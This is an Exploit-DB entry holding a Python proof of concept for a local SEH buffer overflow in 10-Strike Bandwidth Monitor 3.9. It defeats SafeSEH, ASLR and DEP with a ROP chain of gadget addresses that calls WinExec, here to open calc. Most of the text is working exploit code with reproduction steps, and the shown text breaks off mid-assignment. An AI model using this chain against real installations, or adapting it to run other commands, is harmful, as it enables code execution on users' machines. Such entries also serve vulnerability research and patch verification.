Exploit-DB #48570
Description: 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH) (ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2020-06-10
Author: boku

Exploit:
# Exploit Title: 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH,DEP,ASLR)
# Exploit Author: Bobby Cooke
# Date: 2020-07-07
# Vendor Site: https://www.10-strike.com/
# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: version 3.9
# Exploit Details:
#   1. Bypass SafeSEH by overwriting the Structured Exception Handler (SEH) with a Stack-Pivot return address located in the [BandMonitor.exe] memory-space; as it was not compiled with the SafeSEH Protection.
#   2. The Stack-Pivot will land in a RET Sled; as the process's offset on the Stack is different every time.
#     - StackPivot lands at a different offset, 1:660; 2:644; 3:676; 4:692; 5:696; 6:688; 7:692
#   3. Bypass Address Space Layout Randomization (ASLR) & Data Execution Protection (DEP) using Return Orientation Programming (ROP), choosing Gadgets from the [ssleay32.dll], [BandMonitor.exe], and [LIBEAY32.dll]; as they are not compiled with Rebase or ASLR.
#   4. A pointer to the LoadLibraryA symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call LoadLibraryA and find the memory address of the [kernel.dll] module; as it is protected by ASLR and will be different every time the process runs.
#   5. A pointer to the GetProcAddress symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call GetProcAddress to find the memory address of the WinExec Symbol within [kernel32.dll].
#   6. Use Gadgets to call the WinExec Function and open calc.
#   - Bad Characters: \x00 => \x20 ; \x0D & \x0A => Truncates buffer
# Recreate: 
#   Turn On DEP: This PC > Properties > Advanced System Settings > Advanced > Performance > Settings > Data Execution Prevention > "Turn on DEP for all programs and services except those I select:" > OK > Restart
#   Install > Run Exploit > Copy buffer from poc.txt > Start BandMonitor > Help > Enter Reg Key > Paste > Exploit
#   Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Modulename
#   -------------------------------------------------------------------------------------------
#   0x12000000 | 0x12057000 | False  | True    | False |  False   | False  | [ssleay32.dll]
#   0x00400000 | 0x01247000 | False  | False   | False |  False   | False  | [BandMonitor.exe]
#   0x11000000 | 0x11155000 | False  | True    | False |  False   | False  | [LIBEAY32.dll]
#   -------------------------------------------------------------------------------------------

import struct
OS_retSled = '\x41'*400
retSled    = '\x24\x01\x06\x11'*100 #11060124  # retn [LIBEAY32.dll] {PAGE_EXECUTE_READ}
def createRopChain():
    ropGadgets = [
    # HMODULE LoadLibraryA( LPCSTR lpLibFileName);
    #   $ ==>     > 1106905D  CALL to LoadLibraryA
    #   $+4       > 012428B4  FileName = "kernel32.dll"
        0x012126f5,  # POP EAX # RETN [BandMonitor.exe] 
        0x110e70bc,  # kernel32!loadlibrarya [LIBEAY32.dll] 
        0x110495ef,  # JMP [EAX] [LIBEAY32.dll]
        0x1106905d,  # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] 
        0x012428B4,  # &String = "kernel32.dll\x00"  
        # EAX&ESI = &kernel32.dll
    # FARPROC GetProcAddress( HMODULE hModule, LPCSTR  lpProcName);
    #    $ ==>    > 011D53D2  CALL to GetProcAddress
    #    $+4      > 76C40000  hModule = (KERNEL32)
    #    $+8      > 0014F6CC  ProcNameOrOrdinal = "WinExec"
        0x01226010,  # PUSH ESP # AND AL, 4 # POP ECX # POP EDX # RETN [BandMonitor.exe] - [move esp -> ecx]
        0xfffff2D4,  # EDX = Offset2String; ECX = ESP
        0x011d53d2,  # xchg eax, ecx # ret [BandMonitor.exe] - eax=esp & ecx = "kernel32.dll\x00"
        0x11061ea7,  # sub eax, edx # ret [LIBEAY32.dll]- eax=&String="WinExec\d4"
        0x1106905d,  # push eax # pop esi # ret [LIBEAY32.dll] - ESI&EAX="WinExec\d4"
        0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,  
                     # (INC EAX # RETN)*7 [LIBEAY32.dll]
        0x011f282b,  # xor [eax], dl # ret [BandMonitor.exe] - ESI="WinExec\x00"
        0x01203a3b,  # xchg eax, esi # ret [BandMonitor.exe] - EAX="WinExec\x00"
        0x11084dca,  # xchg eax, edx # ret [LIBEAY32.dll]    - EDX="WinExec\x00"
        0x012126f5,  # POP EAX # RETN [BandMonitor.exe] 
        0x110e708c,  # kernel32!getprocaddress [LIBEAY32.dll]
        0x1109cdb9,  # mov eax, ds:[eax] # ret [LIBEAY32.dll] - EAX = &GetProcAddress
        0x1106CE04,  # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
        0x011d53d2,  # xchg eax, ecx # ret [BandMonitor.exe] - ECX=&KERNEL32.WinExec
        0xffffffff,  # NOP - Overwritten by GetProcAddress Stack Setup
        0xffffffff,  # NOP - Overwritten by GetProcAddress Stack Setup
    # Call WinExec( CmdLine, ShowState );
    #   CmdLine   = "calc"
    #   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
        0x0106a762,  # INC ESI # RETN [BandMonitor.exe] - ESI="calc\x"
        0x01203a3b,  # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\xff"
        0x1106905d,  # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] - EAX&ESI="calc\xff"
        0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*4 [LIBEAY32.dll]
        0x01226014,  # POP EDX # RETN [BandMonitor.exe]
        0xffffffff,  # dl = 0xff 
        0x011f282b,  # xor [eax], dl # ret [BandMonitor.exe] - ESI="calc\x00"
        0x01218952,  # NEG EDX # RETN [BandMonitor.exe] - EDX=0x01 = SW_SHOWNORMAL
        0x01203a3b,  # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\x00"
        0x1102ce1f,  # xchg eax, ecx  [LIBEAY32.dll] - ECX="calc\x00" = CmdLine - EAX=&KERNEL32.WinExec
        0x1106CE04,  # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax
        0x11060124   # retn [LIBEAY32.dll] - ROP NOP 
    ]
    return ''.join(struct.pack('<I', _) for _ in ropGadgets)
ropChain = createRopChain()
OS_nSEH    = '\x43'*(4188-len(OS_retSled+retSled+ropChain))
nSEH       = '\